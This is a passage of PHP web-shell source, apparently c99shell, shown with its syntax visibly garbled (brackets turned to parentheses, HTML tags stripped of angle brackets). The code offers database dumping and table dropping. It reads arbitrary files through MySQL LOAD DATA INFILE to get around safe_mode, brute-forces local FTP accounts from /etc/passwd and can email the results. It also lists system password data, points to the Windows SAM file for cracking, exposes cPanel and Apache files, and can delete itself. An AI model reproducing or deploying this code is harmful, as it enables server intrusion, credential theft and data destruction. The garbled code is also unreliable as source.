echo "form method=\"get\"input type=\"hidden\" name=\"act\" value=\"sql\"input type=\"hidden\" name=\"sql_act\" value=\"dump\"input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars ($sql_db)."\"input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars ($sql_login)."\"input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars ($sql_passwd)."\"input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars ($sql_server)."\"input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars ($sql_port)."\"input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars ($sql_tbl)."\"bsql-dump:/bbrbr";
echo "bdb:/b input type=\"text\" name=\"sql_db\" value=\"".urlencode ($sql_db)."\"brbr";
$v = join (";",$dmptbls);
echo "bonly tables (explode \";\") bsup1/sup/b:/b input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars ($v)."\" size=\"". (strlen ($v)+5)."\"brbr";
if ($dump_file) ($tmp = $dump_file;)
else ($tmp = htmlspecialchars ("./dump_".$server_name."_".$sql_db."_".date ("d-m-y-h-i-s").".sql");)
echo "bfile:/b input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"". (strlen ($tmp)+strlen ($tmp) % 30)."\"brbr";
echo "bdownload: /b input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checkedbrbr";
echo "bsave to file: /b input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked";
echo "brbrinput type=\"submit\" name=\"submit\" value=\"dump\"brbrbsup1/sup/b - all, if empty";
echo "/form";
)
else
(
$diplay = true;
$set = array ();
$set ("sock") = $sql_sock;
$set ("db") = $sql_db;
$dump_out = "download";
$set ("print") = 0;
$set ("nl2br") = 0;
$set ("") = 0;
$set ("file") = $dump_file;
$set ("add_drop") = true;
$set ("onlytabs") = array ();
if (!empty ($dmptbls)) ($set ("onlytabs") = explode (";",$dmptbls);)
$ret = mysql_dump ($set);
if ($sql_dump_download)
(
@ob_clean ();
header ("content-type: application/octet-stream");
header ("content-length: ".strlen ($ret));
header ("content-disposition: attachment; filename=\"".basename ($sql_dump_file)."\";");
echo $ret;
exit;
)
elseif ($sql_dump_savetofile)
(
$fp = fopen ($sql_dump_file,"w");
if (!$fp) (echo "bdump error! can't write to \"".htmlspecialchars ($sql_dump_file)."\"!";)
else
(
fwrite ($fp,$ret);
fclose ($fp);
echo "bdumped! dump has been writed to \"".htmlspecialchars (realpath ($sql_dump_file))."\" (".view_size (filesize ($sql_dump_file)).")/b.";
)
)
else (echo "bdump: nothing to do!/b";)
)
)
if ($diplay)
(
if (!empty ($sql_tbl))
(
if (empty ($sql_tbl_act)) ($sql_tbl_act = "browse";)
$count = mysql_query ("select count (*) from `".$sql_tbl."`;");
$count_row = mysql_fetch_array ($count);
mysql_free_result ($count);
$tbl_struct_result = mysql_query ("show fields from `".$sql_tbl."`;");
$tbl_struct_fields = array ();
while ($row = mysql_fetch_assoc ($tbl_struct_result)) ($tbl_struct_fields () = $row;)
if ($sql_ls $sql_le) ($sql_le = $sql_ls + $perpage;)
if (empty ($sql_tbl_page)) ($sql_tbl_page = 0;)
if (empty ($sql_tbl_ls)) ($sql_tbl_ls = 0;)
if (empty ($sql_tbl_le)) ($sql_tbl_le = 30;)
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric ($perpage)) ($perpage = 10;)
$numpages = $count_row (0)/$perpage;
$e = explode (" ",$sql_order);
if (count ($e) == 2)
(
if ($e (0) == "d") ($asc_desc = "desc";)
else ($asc_desc = "asc";)
$v = "order by `".$e (1)."` ".$asc_desc." ";
)
else ($v = "";)
$query = "select * from `".$sql_tbl."` ".$v."limit ".$sql_tbl_ls.", ".$perpage."";
$result = mysql_query ($query) or print (mysql_smarterror ());
echo "hr size=\"1\" noshadecenterbtable ".htmlspecialchars ($sql_tbl)." (".mysql_num_fields ($result)." cols and ".$count_row (0)." rows)/b/center";
echo "a href=\"".$sql_surl."sql_tbl=".urlencode ($sql_tbl)."&sql_tbl_act=structure\" ( bstructure/b )/a ";
echo "a href=\"".$sql_surl."sql_tbl=".urlencode ($sql_tbl)."&sql_tbl_act=browse\" ( bbrowse/b )/a ";
echo "a href=\"".$sql_surl."sql_tbl=".urlencode ($sql_tbl)."&sql_act=tbldump&thistbl=1\" ( bdump/b )/a ";
echo "a href=\"".$sql_surl."sql_tbl=".urlencode ($sql_tbl)."&sql_tbl_act=insert\" ( binsert/b )/a ";
if ($sql_tbl_act == "structure") (echo "brbrbcoming sooon!/b";)
if ($sql_tbl_act == "insert")
(
if (!is_array ($sql_tbl_insert)) ($sql_tbl_insert = array ();)
if (!empty ($sql_tbl_insert_radio))
(
)
else
(
echo "brbrbinserting row into table:/bbr";
if (!empty ($sql_tbl_insert_q))
(
$sql_query = "select * from `".$sql_tbl."`";
$sql_query.= " where".$sql_tbl_insert_q;
$sql_query.= " limit 1;";
$result = mysql_query ($sql_query,$sql_sock) or print ("brbr".mysql_smarterror ());
$values = mysql_fetch_assoc ($result);
mysql_free_result ($result);
)
else ($values = array ();)
echo "form method=\"post\"table cellspacing=0 bordercolordark=#666666 cellpadding=5 width=\"1%\" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtdbfield/b/tdtdbtype/b/tdtdbfunction/b/tdtdbvalue/b/td/tr";
foreach ($tbl_struct_fields as $field)
(
$name = $field ("field");
if (empty ($sql_tbl_insert_q)) ($v = "";)
echo "trtdb".htmlspecialchars ($name)."/b/tdtd".$field ("type")."/tdtdselect name=\"sql_tbl_insert_functs (".htmlspecialchars ($name).")\"option value=\"\"/optionoptionpassword/optionoptionmd5/optionoptionencrypt/optionoptionascii/optionoptionchar/optionoptionrand/optionoptionlast_insert_id/optionoptioncount/optionoptionavg/optionoptionsum/optionoption value=\"\"--------/optionoptionsoundex/optionoptionlcase/optionoptionucase/optionoptionnow/optionoptioncurdate/optionoptioncurtime/optionoptionfrom_days/optionoptionfrom_unixtime/optionoptionperiod_add/optionoptionperiod_diff/optionoptionto_days/optionoptionunix_timestamp/optionoptionuser/optionoptionweekday/optionoptionconcat/option/select/tdtdinput type=\"text\" name=\"sql_tbl_insert (".htmlspecialchars ($name).")\" value=\"".htmlspecialchars ($values ($name))."\" size=50/td/tr";
$i++;
)
echo "/tablebr";
echo "input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty ($sql_tbl_insert_q)) (echo " checked";) echo "binsert as new row/b";
if (!empty ($sql_tbl_insert_q)) (echo " or input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checkedbsave/b"; echo "input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars ($sql_tbl_insert_q)."\"";)
echo "brbrinput type=\"submit\" value=\"confirm\"/form";
)
)
if ($sql_tbl_act == "browse")
(
$sql_tbl_ls = abs ($sql_tbl_ls);
$sql_tbl_le = abs ($sql_tbl_le);
echo "hr size=\"1\" noshade";
echo "img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"pages\" ";
$b = 0;
for ($i=0;$i$numpages;$i++)
(
if ( ($i*$perpage!= $sql_tbl_ls) or ($i*$perpage+$perpage!= $sql_tbl_le)) (echo "a href=\"".$sql_surl."sql_tbl=".urlencode ($sql_tbl)."&sql_order=".htmlspecialchars ($sql_order)."&sql_tbl_ls=". ($i*$perpage)."&sql_tbl_le=". ($i*$perpage+$perpage)."\"u";)
echo $i;
if ( ($i*$perpage!= $sql_tbl_ls) or ($i*$perpage+$perpage!= $sql_tbl_le)) (echo "/u/a";)
if ( ($i/30 == round ($i/30)) and ($i 0)) (echo "br";)
else (echo " ";)
)
if ($i == 0) (echo "empty";)
echo "form method=\"get\"input type=\"hidden\" name=\"act\" value=\"sql\"input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars ($sql_db)."\"input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars ($sql_login)."\"input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars ($sql_passwd)."\"input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars ($sql_server)."\"input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars ($sql_port)."\"input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars ($sql_tbl)."\"input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars ($sql_order)."\"bfrom:/b input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\" bto:/b input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\" input type=\"submit\" value=\"view\"/form";
echo "brform method=\"post\"table cellspacing=0 bordercolordark=#666666 cellpadding=5 width=\"1%\" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1";
echo "tr";
echo "tdinput type=\"checkbox\" name=\"boxrow_all\" value=\"1\"/td";
for ($i=0;$imysql_num_fields ($result);$i++)
(
$v = mysql_field_name ($result,$i);
if ($e (0) == "a") ($s = "d"; $m = "asc";)
else ($s = "a"; $m = "desc";)
echo "td";
if (empty ($e (0))) ($e (0) = "a";)
if ($e (1)!= $v) (echo "a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e (0)."%20".$v."\"b".$v."/b/a";)
else (echo "b".$v."/ba href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"/a";)
echo "/td";
)
echo "tdfont color=\"green\"baction/b/font/td";
echo "/tr";
while ($row = mysql_fetch_array ($result, mysql_assoc))
(
echo "tr";
$w = "";
$i = 0;
foreach ($row as $k=$v) ($name = mysql_field_name ($result,$i); $w.= " `".$name."` = '".addslashes ($v)."' and"; $i++;)
if (count ($row) 0) ($w = substr ($w,0,strlen ($w)-3);)
echo "tdinput type=\"checkbox\" name=\"boxrow ()\" value=\"".$w."\"/td";
$i = 0;
foreach ($row as $k=$v)
(
$v = htmlspecialchars ($v);
if ($v == "") ($v = "font color=\"green\"null/font";)
echo "td".$v."/td";
$i++;
)
echo "td";
echo "a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode ($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode ("delete from `".$sql_tbl."` where".$w." limit 1;")."\"img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"delete\" height=\"13\" width=\"11\" border=\"0\"/a ";
echo "a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode ($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode ($w)."\"img src=\"".$surl."act=img&img=change\" alt=\"edit\" height=\"14\" width=\"14\" border=\"0\"/a ";
echo "/td";
echo "/tr";
)
mysql_free_result ($result);
echo "/tablehr size=\"1\" noshadep align=\"left\"img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"select name=\"sql_act\"";
echo "option value=\"\"with selected:/option";
echo "option value=\"deleterow\"delete/option";
echo "/select input type=\"submit\" value=\"confirm\"/form/p";
)
)
else
(
$result = mysql_query ("show table status", $sql_sock);
if (!$result) (echo mysql_smarterror ();)
else
(
echo "brform method=\"post\"table cellspacing=0 bordercolordark=#666666 cellpadding=5 width=\"100%\" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtdinput type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"/tdtdcenterbtable/b/center/tdtdbrows/b/tdtdbtype/b/tdtdbcreated/b/tdtdbmodified/b/tdtdbsize/b/tdtdbaction/b/td/tr";
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array ($result, mysql_assoc))
(
$tsize += $row ("data_length");
$trows += $row ("rows");
$size = view_size ($row ("data_length"));
echo "tr";
echo "tdinput type=\"checkbox\" name=\"boxtbl ()\" value=\"".$row ("name")."\"/td";
echo "td a href=\"".$sql_surl."sql_tbl=".urlencode ($row ("name"))."\"b".$row ("name")."/b/a /td";
echo "td".$row ("rows")."/td";
echo "td".$row ("type")."/td";
echo "td".$row ("create_time")."/td";
echo "td".$row ("update_time")."/td";
echo "td".$size."/td";
echo "td a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode ("delete from `".$row ("name")."`")."\"img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"empty\" height=\"13\" width=\"11\" border=\"0\"/a a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode ("drop table `".$row ("name")."`")."\"img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"drop\" height=\"13\" width=\"11\" border=\"0\"/a a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row ("name")."\"img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"insert\" height=\"13\" width=\"11\" border=\"0\"/a /td";
echo "/tr";
$i++;
)
echo "tr bgcolor=\"000000\"";
echo "tdcenterb»/b/center/td";
echo "tdcenterb".$i." table (s)/b/center/td";
echo "tdb".$trows."/b/td";
echo "td".$row (1)."/td";
echo "td".$row (10)."/td";
echo "td".$row (11)."/td";
echo "tdb".view_size ($tsize)."/b/td";
echo "td/td";
echo "/tr";
echo "/tablehr size=\"1\" noshadep align=\"right\"img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"select name=\"sql_act\"";
echo "option value=\"\"with selected:/option";
echo "option value=\"tbldrop\"drop/option";
echo "option value=\"tblempty\"empty/option";
echo "option value=\"tbldump\"dump/option";
echo "option value=\"tblcheck\"check table/option";
echo "option value=\"tbloptimize\"optimize table/option";
echo "option value=\"tblrepair\"repair table/option";
echo "option value=\"tblanalyze\"analyze table/option";
echo "/select input type=\"submit\" value=\"confirm\"/form/p";
mysql_free_result ($result);
)
)
)
)
)
else
(
$acts = array ("","newdb","serverstatus","servervars","processes","getfile");
if (in_array ($sql_act,$acts)) (?table border="0" width="100%" height="1"trtd width="30%" height="1"bcreate new db:/bform action="?php echo $surl;?"input type="hidden" name="act" value="sql"input type="hidden" name="sql_act" value="newdb"input type="hidden" name="sql_login" value="?php echo htmlspecialchars ($sql_login);?"input type="hidden" name="sql_passwd" value="?php echo htmlspecialchars ($sql_passwd);?"input type="hidden" name="sql_server" value="?php echo htmlspecialchars ($sql_server);?"input type="hidden" name="sql_port" value="?php echo htmlspecialchars ($sql_port);?"input type="text" name="sql_newdb" size="20" input type="submit" value="create"/form/tdtd width="30%" height="1"bview file:/bform action="?php echo $surl;?"input type="hidden" name="act" value="sql"input type="hidden" name="sql_act" value="getfile"input type="hidden" name="sql_login" value="?php echo htmlspecialchars ($sql_login);?"input type="hidden" name="sql_passwd" value="?php echo htmlspecialchars ($sql_passwd);?"input type="hidden" name="sql_server" value="?php echo htmlspecialchars ($sql_server);?"input type="hidden" name="sql_port" value="?php echo htmlspecialchars ($sql_port);?"input type="text" name="sql_getfile" size="30" value="?php echo htmlspecialchars ($sql_getfile);?" input type="submit" value="get"/form/tdtd width="30%" height="1"/td/trtrtd width="30%" height="1"/tdtd width="30%" height="1"/tdtd width="30%" height="1"/td/tr/table?php )
if (!empty ($sql_act))
(
echo "hr size=\"1\" noshade";
if ($sql_act == "newdb")
(
echo "b";
if ( (mysql_create_db ($sql_newdb)) and (!empty ($sql_newdb))) (echo "db \"".htmlspecialchars ($sql_newdb)."\" has been created with success!/bbr";)
else (echo "can't create db \"".htmlspecialchars ($sql_newdb)."\".brreason:/b ".mysql_smarterror ();)
)
if ($sql_act == "serverstatus")
(
$result = mysql_query ("show status", $sql_sock);
echo "centerbserver-status variables:/bbrbr";
echo "table cellspacing=0 cellpadding=0 bgcolor=#333333 bordercolorlight=#333333 border=1tdbname/b/tdtdbvalue/b/td/tr";
while ($row = mysql_fetch_array ($result, mysql_num)) (echo "trtd".$row (0)."/tdtd".$row (1)."/td/tr";)
echo "/table/center";
mysql_free_result ($result);
)
if ($sql_act == "servervars")
(
$result = mysql_query ("show variables", $sql_sock);
echo "centerbserver variables:/bbrbr";
echo "table cellspacing=0 cellpadding=0 bgcolor=#333333 bordercolorlight=#333333 border=1tdbname/b/tdtdbvalue/b/td/tr";
while ($row = mysql_fetch_array ($result, mysql_num)) (echo "trtd".$row (0)."/tdtd".$row (1)."/td/tr";)
echo "/table";
mysql_free_result ($result);
)
if ($sql_act == "processes")
(
if (!empty ($kill)) ($query = "kill ".$kill.";"; $result = mysql_query ($query, $sql_sock); echo "bkilling process #".$kill."... ok. he is dead, amen./b";)
$result = mysql_query ("show processlist", $sql_sock);
echo "centerbprocesses:/bbrbr";
echo "table cellspacing=0 cellpadding=2 bgcolor=#333333 bordercolorlight=#333333 border=1tdbid/b/tdtdbuser/b/tdtdbhost/b/tdtdbdb/b/tdtdbcommand/b/tdtdbtime/b/tdtdbstate/b/tdtdbinfo/b/tdtdbaction/b/td/tr";
while ($row = mysql_fetch_array ($result, mysql_num)) ( echo "trtd".$row (0)."/tdtd".$row (1)."/tdtd".$row (2)."/tdtd".$row (3)."/tdtd".$row (4)."/tdtd".$row (5)."/tdtd".$row (6)."/tdtd".$row (7)."/tdtda href=\"".$sql_surl."sql_act=processes&kill=".$row (0)."\"ukill/u/a/td/tr";)
echo "/table";
mysql_free_result ($result);
)
if ($sql_act == "getfile")
(
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db ($tmpdb);
if (!$select) (mysql_create_db ($tmpdb); $select = mysql_select_db ($tmpdb); $created =!$select;)
if ($select)
(
$created = false;
mysql_query ("create table `tmp_file` ( `viewing the file in safe_mode+open_basedir` longblob not null );");
mysql_query ("load data infile \"".addslashes ($sql_getfile)."\" into table tmp_file");
$result = mysql_query ("select * from tmp_file;");
if (!$result) (echo "berror in reading file (permision denied)!/b";)
else
(
for ($i=0;$imysql_num_fields ($result);$i++) ($name = mysql_field_name ($result,$i);)
$f = "";
while ($row = mysql_fetch_array ($result, mysql_assoc)) ($f.= join ("\r\n",$row);)
if (empty ($f)) (echo "bfile \"".$sql_getfile."\" does not exists or empty!/bbr";)
else (echo "bfile \"".$sql_getfile."\":/bbr".nl2br (htmlspecialchars ($f))."br";)
mysql_free_result ($result);
mysql_query ("drop table tmp_file;");
)
)
mysql_drop_db ($tmpdb); //comment it if you want to leave database
)
)
)
)
echo "/td/tr/table";
if ($sql_sock)
(
$affected = @mysql_affected_rows ($sql_sock);
if ( (!is_numeric ($affected)) or ($affected 0)) ($affected = 0;)
echo "trtdcenterbaffected rows: ".$affected."/center/td/tr";
)
echo "/table";
)
if ($act == "mkdir")
(
if ($mkdir!= $d)
(
if (file_exists ($mkdir)) (echo "bmake dir \"".htmlspecialchars ($mkdir)."\"/b: object alredy exists";)
elseif (!mkdir ($mkdir)) (echo "bmake dir \"".htmlspecialchars ($mkdir)."\"/b: access denied";)
echo "brbr";
)
$act = $dspact = "ls";
)
if ($act == "ftpquickbrute")
(
echo "bftp quick brute:/bbr";
if (!win) (echo "this functions not work in windows!brbr";)
else
(
function c99ftpbrutecheck ($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
(
if ($fqb_onlywithsh) ($true = (!in_array ($sh,array ("/bin/false","/sbin/nologin")));)
else ($true = true;)
if ($true)
(
$sock = @ftp_connect ($host,$port,$timeout);
if (@ftp_login ($sock,$login,$pass))
(
echo "a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"bconnected to ".$host." with login \"".$login."\" and password \"".$pass."\"/b/a.br";
ob_flush ();
return true;
)
)
)
if (!empty ($submit))
(
if (!is_numeric ($fqb_lenght)) ($fqb_lenght = $nixpwdperpage;)
$fp = fopen ("/etc/passwd","r");
if (!$fp) (echo "can't get /etc/passwd for password-list.";)
else
(
if ($fqb_logging)
(
if ($fqb_logfile) ($fqb_logfp = fopen ($fqb_logfile,"w");)
else ($fqb_logfp = false;)
$fqb_log = "ftp quick brute (called c99shell v. ".$shver.") started at ".date ("d.m.y h:i:s")."\r\n\r\n";
if ($fqb_logfile) (fwrite ($fqb_logfp,$fqb_log,strlen ($fqb_log));)
)
ob_flush ();
$i = $success = 0;
$ftpquick_st = getmicrotime ();
while (!feof ($fp))
(
$str = explode (":",fgets ($fp,2048));
if (c99ftpbrutecheck ("localhost",21,1,$str (0),$str (0),$str (6),$fqb_onlywithsh))
(
echo "bconnected to ".$server_name." with login \"".$str (0)."\" and password \"".$str (0)."\"/bbr";
$fqb_log.= "connected to ".$server_name." with login \"".$str (0)."\" and password \"".$str (0)."\", at ".date ("d.m.y h:i:s")."\r\n";
if ($fqb_logfp) (fseek ($fqb_logfp,0); fwrite ($fqb_logfp,$fqb_log,strlen ($fqb_log));)
$success++;
ob_flush ();
)
if ($i $fqb_lenght) (break;)
$i++;
)
if ($success == 0) (echo "no success. connections!"; $fqb_log.= "no success. connections!\r\n";)
$ftpquick_t = round (getmicrotime ()-$ftpquick_st,4);
echo "hr size=\"1\" noshadebdone!/bbrtotal time (secs): ".$ftpquick_t."brtotal connections: ".$i."brsuccess.: font color=\"green\"b".$success."/b/fontbrunsuccess.:". ($i-$success)."/bbrconnects per second: ".round ($i/$ftpquick_t,2)."br";
$fqb_log.= "\r\n------------------------------------------\r\ndone!\r\ntotal time (secs): ".$ftpquick_t."\r\ntotal connections: ".$i."\r\nsuccess.: ".$success."\r\nunsuccess.:". ($i-$success)."\r\nconnects per second: ".round ($i/$ftpquick_t,2)."\r\n";
if ($fqb_logfp) (fseek ($fqb_logfp,0); fwrite ($fqb_logfp,$fqb_log,strlen ($fqb_log));)
if ($fqb_logemail) (@mail ($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);)
fclose ($fqb_logfp);
)
)
else
(
$logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date ("d.m.y_h_i_s").".log";
$logfile = str_replace ("//",directory_separator,$logfile);
echo "form method=\"post\"brread first: input type=\"text\" name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"brbrusers only with shell? input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"brbrlogging? input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checkedbrlogging to file? input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"". (strlen ($logfile)+2* (strlen ($logfile)/10))."\"brlogging to e-mail? input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"". (strlen ($logemail)+2* (strlen ($logemail)/10))."\"brbrinput type=\"submit\" name=\"submit\" value=\"brute\"/form";
)
)
)
if ($act == "d")
(
if (!is_dir ($d)) (echo "centerbpermision denied!/b/center";)
else
(
echo "bdirectory information:/btable border=0 cellspacing=1 cellpadding=2";
if (!$win)
(
echo "trtdbowner/group/b/tdtd ";
$tmp = posix_getpwuid (fileowner ($d));
if ($tmp ("name") == "") (echo fileowner ($d)."/";)
else (echo $tmp ("name")."/";)
$tmp = posix_getgrgid (filegroup ($d));
if ($tmp ("name") == "") (echo filegroup ($d);)
else (echo $tmp ("name");)
)
echo "trtdbperms/b/tdtda href=\"".$surl."act=chmod&d=".urlencode ($d)."\"b".view_perms_color ($d)."/b/atrtdbcreate time/b/tdtd ".date ("d/m/y h:i:s",filectime ($d))."/td/trtrtdbaccess time/b/tdtd ".date ("d/m/y h:i:s",fileatime ($d))."/td/trtrtdbmodify time/b/tdtd ".date ("d/m/y h:i:s",filemtime ($d))."/td/tr/tablebr";
)
)
if ($act == "phpinfo") (@ob_clean (); phpinfo (); exit;)
if ($act == "security")
(
echo "centerbserver security information:/b/centerbsoftware:/b ".php_os.", ".$server_software."brbsafe-mode: ".$hsafemode."/bbrbopen base dir: ".$hopenbasedir."/bbr";
if (!$win)
(
if ($nixpasswd)
(
if ($nixpasswd == 1) ($nixpasswd = 0;)
echo "b*nix /etc/passwd:/bbr";
if (!is_numeric ($nixpwd_s)) ($nixpwd_s = 0;)
if (!is_numeric ($nixpwd_e)) ($nixpwd_e = $nixpwdperpage;)
echo "form method=\"get\"input type=\"hidden\" name=\"act\" value=\"security\"input type=\"hidden\" name=\"nixpasswd\" value=\"1\"bfrom:/b input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\" bto:/b input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\" input type=\"submit\" value=\"view\"/formbr";
$i = $nixpwd_s;
while ($i $nixpwd_e)
(
$uid = posix_getpwuid ($i);
if ($uid)
(
$uid ("dir") = "a href=\"".$surl."act=ls&d=".urlencode ($uid ("dir"))."\"".$uid ("dir")."/a";
echo join (":",$uid)."br";
)
$i++;
)
)
else (echo "bra href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"buget /etc/passwd/u/b/abr";)
)
else
(
$v = $_server ("windir")."\repair\sam";
if (file_get_contents ($v)) (echo "bfont color=\"red\"you can't crack winnt passwords (".$v.") /font/bbr";)
else (echo "bfont color=\"green\"you can crack winnt passwords. a href=\"".$surl."act=f&f=sam&d=".$_server ("windir")."\\repair&ft=download\"ubdownload/b/u/a, and use lcp.crack+ ©./font/bbr";)
)
if (file_get_contents ("/etc/userdomains")) (echo "bfont color=\"green\"a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"ubview cpanel user-domains logs/b/u/a/font/bbr";)
if (file_get_contents ("/var/cpanel/accounting.log")) (echo "bfont color=\"green\"a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"ubview cpanel logs/b/u/a/font/bbr";)
if (file_get_contents ("/usr/local/apache/conf/httpd.conf")) (echo "bfont color=\"green\"a href=\"".$surl."act=f&f=httpd.conf&d=/usr/local/apache/conf/&ft=txt\"ubapache configuration (httpd.conf)/b/u/a/font/bbr";)
if (file_get_contents ("/etc/httpd.conf")) (echo "bfont color=\"green\"a href=\"".$surl."act=f&f=httpd.conf&d=/etc/&ft=txt\"ubapache configuration (httpd.conf)/b/u/a/font/bbr";)
)
if ($act == "mkfile")
(
if ($mkfile!= $d)
(
if (file_exists ($mkfile)) (echo "bmake file \"".htmlspecialchars ($mkfile)."\"/b: object alredy exists";)
elseif (!fopen ($mkfile,"w")) (echo "bmake file \"".htmlspecialchars ($mkfile)."\"/b: access denied";)
else ($act = "f"; $d = dirname ($mkfile); if (substr ($d,-1,1)!= directory_separator) ($d.= directory_separator;) $f = basename ($mkfile);)
)
else ($act = $dspact = "ls";)
)
if ($act == "encoder")
(
echo "scriptfunction set_encoder_input (text) (document.forms.encoder.input.value = text;)/scriptcenterbencoder:/b/centerform name=\"encoder\" method=\"post\"binput:/bcentertextarea name=\"encoder_input\" id=\"input\" cols=50 rows=5".@htmlspecialchars ($encoder_input)."/textareabrbrinput type=submit value=\"calculate\"brbr/centerbhashes/b:brcenter";
foreach (array ("md5","crypt","sha1","crc32") as $v)
(
echo $v." - input type=text size=50 onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" value=\"".$v ($encoder_input)."\" readonlybr";
)
echo "/centerburl:/bcenterbrurlencode - input type=text size=35 onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" value=\"".urlencode ($encoder_input)."\" readonly
brurldecode - input type=text size=35 onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" value=\"".urldecode ($encoder_input)."\" readonly
br/centerbbase64:/bcenterbase64_encode - input type=text size=35 onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" value=\"".base64_encode ($encoder_input)."\" readonly/center";
echo "centerbase64_decode - ";
if (base64_encode (base64_decode ($encoder_input))!= $encoder_input) (echo "input type=text size=35 value=\"failed\" disabled readonly";)
else
(
$debase64 = base64_decode ($encoder_input);
$debase64 = str_replace ("\0"," (0)",$debase64);
$a = explode ("\r\n",$debase64);
$rows = count ($a);
$debase64 = htmlspecialchars ($debase64);
if ($rows == 1) (echo "input type=text size=35 onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" value=\"".$debase64."\" id=\"debase64\" readonly";)
else ($rows++; echo "textarea cols=\"40\" rows=\"".$rows."\" onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" id=\"debase64\" readonly".$debase64."/textarea";)
echo " a href=\"#\" onclick=\"set_encoder_input (document.forms.encoder.debase64.value)\"b^/b/a";
)
echo "/centerbrbbase convertations/b:centerdec2hex - input type=text size=35 onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" value=\"";
$c = strlen ($encoder_input);
for ($i=0;$i$c;$i++)
(
$hex = dechex (ord ($encoder_input ($i)));
if ($encoder_input ($i) == "&") (echo $encoder_input ($i);)
elseif ($encoder_input ($i)!= "\\") (echo "%".$hex;)
)
echo "\" readonlybr/center/form";
)
if ($act == "fsbuff")
(
$arr_copy = $sess_data ("copy");
$arr_cut = $sess_data ("cut");
$arr = array_merge ($arr_copy,$arr_cut);
if (count ($arr) == 0) (echo "centerbbuffer is empty!/b/center";)
else (echo "bfile-system buffer/bbrbr"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";)
)
if ($act == "selfremove")
(
if ( ($submit == $rndcode) and ($submit!= ""))
(
if (unlink (__file__)) (@ob_clean (); echo "thanks for using c99shell v.".$shver."!"; exit; )
else (echo "centerbcan't delete ".__file__."!/b/center";)
)
else
(
if (!empty ($rndcode)) (echo "berror: incorrect confimation!/b";)
$rnd = rand (0,9).rand (0,9).rand (0,9);
